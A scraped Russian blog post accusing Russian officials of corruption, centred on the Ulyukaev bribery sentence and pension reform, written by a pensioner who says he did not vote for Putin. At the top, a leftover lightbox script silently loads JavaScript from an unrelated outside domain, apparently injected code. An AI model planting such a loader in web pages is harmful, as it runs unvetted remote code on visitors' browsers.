, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
RSS
 

Нет, не начнёт Путин зачищать жульё, что вокруг него расплодилось

05 Июл

Да, много лет Путин призывает  вести активную борьбу с коррупционерами, теми, кто организовал свой бизнес на распилах и откатах бюджетных средств, кто  обогатился на возможности осуществлять государственную власть.

Но одно дело призывать и совсем иное обеспечить реальную борьбу с  криминальным явлением, которое совершают и назначенцы самого Путина.

Седьмой год в стране  действует п.п. 8 п. 2 ст. 235 ГК РФ, позволяющий лишать вороватых чиновников всего имущества, что ими добыто не нате средства, что они правомерно заработали. Но за все эти годы не более 40 раз эта норма была применена к мздоимцам.

Бывшего министра экономического развития Алексея Улюкаева суд  признал виновным  по ч. 6 ст. 290 УК РФ (получение взятки должностным лицом в особо крупном размере) и приговорил к восьми годам колонии строгого режима.

​У Улюкаева судом арестовано  15 объектов недвижимости и не менее 564 млн руб.

Однако суд приговорили Улюкаева  к штрафу в однократном размере взятки — 130,4 млн руб.

Почему такое мягкое и  странное наказание применил суд к тому, кто не раскаялся в содеянном, кто сколотил миллиардное состояние явно не на зарплату чиновника?

Ведь санкция ч. 6 ст. 290 УК РФ предусматривает  штраф в размере до семидесятикратной суммы взятки.

Учитывая, что Улюкаев ни дня не работал в бизнесе, собственности на миллиард правомерным путём он заиметь никак не мог. Тогда почему ему вернут в собственность имущество на 700 млн. руб.?  Через несколько лет  Улюкаева досрочно освободят от наказания и он воспользуясь этим имуществом, будет смеяться над теми миллионами россиян, что  живут на зарплату.

Так  чиновники в России обустроили для себя безнаказанную  барскую жизнь,  разворовывая  народное достояние, что зовётся бюджетом страны. И им не стыдно говорить единственному источнику власти в стране, многонациональному народу: «Денег нет, но вы терпите».

Народ и терпит, радуясь футбольным достижениям. А когда эта радость пройдёт, что будет?

Глава Чеченской Республики Рамзан Кадыров считает, что лучшее наказание для чиновника, пойманного на коррупционных нарушениях, — конфискация всего, что тот имеет. https://pasmi.ru/archive/213851/

Пора и Путину осознать, что зарплаты чиновников и депутатов, превышающие средние по стране в 20−25 раз, не удерживают их от  неправомерного обогащения. Спасет только лишение их возможности пользоваться неправомерным имуществом. Только это  умерит самовластие его назначенцев.

На фоне тех миллиардных хищений, что совершаются в стране, очень удручающими являются заявления о повышении пенсионного возраста.

Возможно это и станет концом того бесправного режима, что как сорная трава, вырос в стране. Почему бы  Путину  этих чиновников, «озабоченных» о пенсиях, не заставить жить на среднюю зарплату по стране?

Я, как имеющий 55 лет непрерывного трудового стажа,  работающий пенсионер, могу заявлять, что мне стыдно жить в стране, где так жируют чиновники, что мне не интересны суждения тех, кто не живёт одной жизнью с народом.  Я полагаю, что  не имеют права осуществлять  государственную власть лица, что не стыдятся получать  зарплату в  20−25 раз превышающую среднюю по стране.

Поэтому лично я за Путина не голосовал.

 
Комментариев нет

Автор: ossin Категория: Прочие заметки

 

Оставить комментарий

Вы должны войти, чтобы оставить комментарий.